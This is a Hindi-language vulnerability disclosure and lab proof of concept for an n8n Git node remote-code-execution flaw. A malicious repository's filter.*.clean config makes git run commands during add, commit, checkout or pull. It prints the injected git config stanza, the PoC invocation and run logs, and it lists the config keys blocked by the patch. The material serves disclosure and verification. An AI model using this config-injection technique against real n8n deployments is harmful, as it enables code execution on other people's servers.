
CVE-2026-85168 — add|commit|checkout पर repo-स्थानीय filter.*.clean / merge-driver कॉन्फ़िग से n8n Git नोड RCE। v2.35.3 / v2.36.2 सत्यापित।
Git नोड ने उन बाहरी-प्रोग्राम कॉन्फ़िग कुंजियों को -c के साथ पिन किया जिन्हें वह जानता था
(core.sshCommand, core.fsmonitor, core.pager, diff.external,
credential.helper, core.gitProxy, gpg.program, init.templateDir) लेकिन कभी भी
content-filter और merge-driver परिवारों के लिए रिपॉज़िटरी की अपनी .git/config की जाँच नहीं की। एक रिपॉज़िटरी जो परिभाषित करती है
[filter "pwn"]
clean = <command>
साथ में एक मेल खाती .gitattributes (* filter=pwn) git को नोड द्वारा किए गए सामान्य Add, Commit, Checkout या Pull के दौरान <command> निष्पादित करने पर मजबूर करती है। यह कमांड n8n प्रक्रिया उपयोगकर्ता (node, uid 1000) के रूप में चलती है।
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.73, >= 2.0.0 < 2.35.4, < 2.36.24c60d38f2a83 ("chore: Bundle/2.x (backport to release-candidate/2.36.x)")
→ packages/nodes-base/nodes/Git/GenericFunctions.ts में
findBlacklistedKeys() जोड़ा गया है, जिसमें filter.*.(clean|smudge|process),
merge.*.driver, remote.*.(uploadpack|receivepack), gpg.*.program,
core.askpass, core.editor, core.alternateRefsCommand,
gc.recentObjectsHook, hook.*.command, sequence.editor,
gpg.ssh.defaultKeyCommand, url.*.(insteadOf|pushInsteadOf) के पैटर्न हैं;
Git.node.ts add/commit/checkout/pull/push से पहले validateGitConfig() को कॉल करता है और
Repository Git config key '<key>' is not allowed के साथ निरस्त कर देता है।हमलावर को Git नोड के सामने अपनी पसंद के स्थानीय कॉन्फ़िग वाला एक रिपॉज़िटरी लाने में सक्षम होना चाहिए — एक आयातित/साझा किया गया चेकआउट, माउंट किए गए वॉल्यूम पर एक प्रोजेक्ट रिपो, आदि। इस लैब में --prepare ठीक वही रिपॉज़िटरी कंटेनर के अंदर स्थापित करता है (वर्कफ़्लो लेखक के फ़ाइल-राइट चरण का प्रतिनिधि)। उसके बाद का सब कुछ एक प्रमाणित उपयोगकर्ता द्वारा n8n REST API के माध्यम से किया जाता है।
नोड केवल ~/.n8n-files के अंतर्गत रिपॉज़िटरी स्वीकार करता है (restrictFileAccessTo डिफ़ॉल्ट) और .git ब्लॉक पैटर्न से मेल खाने वाले पथों को अस्वीकार कर देता है, इसलिए लैब रिपो /home/node/.n8n-files/pwn-repo पर स्थित है।
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve85165 -f docker-compose.2353.yml up -d # 2.35.3 -> :20001
docker compose -p poc-n8n-cve85165-fix -f docker-compose.2362.yml up -d # 2.36.2 -> :20003
n8nio/n8n:2.35.3 में [email protected] शामिल है (जिसमें findBlacklistedKeys नहीं है) →
असुरक्षित। n8nio/n8n:2.36.2 में [email protected] शामिल है (ब्लैकलिस्ट मौजूद है) →
सुरक्षित। ध्यान दें कि 2.36.1 Docker इमेज में भी [email protected] ही शामिल है, इसलिए
वह इमेज भी असुरक्षित नहीं है; 2.35.3 सबसे निकटतम प्रकाशित असुरक्षित टैग है।
python3 n8n_poc.py --url http://127.0.0.1:20001 \
--container n8n-vuln-2353 --prepare --command 'id'
run_vulnerable_2.35.3.txt)[*] target : http://127.0.0.1:20001
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : vuCSuHLscbXUty8i (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 30
[*] git node : ok {"success": true}
[+] evidence read from container:
uid=1000(node) gid=1000(node) groups=1000(node)
=> PASS (CVE-2026-85168: git executed the repository-configured command as the n8n user)
exit=0
कंटेनर-साइड जाँच (side_effect_2.35.3.txt):
-rw-r--r-- 1 node node 48 Oct 24 14:01 /home/node/.n8n-files/pwn-repo/out.txt
uid=1000(node) gid=1000(node) groups=1000(node)
--- git config
[filter "pwn"]
clean = sh -c "id > /home/node/.n8n-files/pwn-repo/out.txt; cat"
run_patched_2.36.2.txt)[*] target : http://127.0.0.1:20003
[*] repo : planted /home/node/.n8n-files/pwn-repo (filter.pwn.clean = id)
[*] auth : logged in as [email protected]
[*] workflow : PteOTvLgk4FC8M4Z (Git node: operation=add, path=/home/node/.n8n-files/pwn-repo/note.txt)
[*] execution: 16
[*] git node : error Repository Git config key 'filter.pwn.clean' is not allowed
[!] no evidence file in container: cat: can't open '/home/node/.n8n-files/pwn-repo/out.txt': No such file or directory
=> FAIL (CVE-2026-85168: git config key rejected before the operation ran)
exit=1
दोनों टारगेट्स पर रिपॉज़िटरी एक समान है; केवल n8n बिल्ड अलग है।
प्राथमिक: GET /rest/executions/<id>?includeData=true द्वारा लौटाया गया वर्कफ़्लो आउटपुट
(Git नोड का {"success": true} बनाम अस्वीकृति त्रुटि)। द्वितीयक (क्योंकि
कमांड का आउटपुट HTTP प्रतिक्रिया में नहीं, बल्कि एक फ़ाइल में जाता है): प्रूफ़ फ़ाइल को
docker exec <container> cat <repo>/out.txt के माध्यम से वापस पढ़ा जाता है — यह --container
चरण है, जिसे स्क्रिप्ट में स्पष्ट रूप से लैब-साइड के रूप में चिह्नित किया गया है।
| फ़ाइल | सामग्री |
|---|---|
n8n_poc.py | केवल-मानक-लाइब्रेरी PoC (--url --email --password --command --repo-path --container --prepare --output) |
run_vulnerable_2.35.3.txt, run_patched_2.36.2.txt | कच्चे रन |
evidence_vulnerable_2.35.3.json, evidence_patched_2.36.2.json | JSON साक्ष्य |
side_effect_2.35.3.txt, side_effect_2.36.2.txt | कंटेनर-साइड जाँच |
docker_logs_2.35.3.txt, docker_logs_2.36.2.txt | कंटेनर लॉग |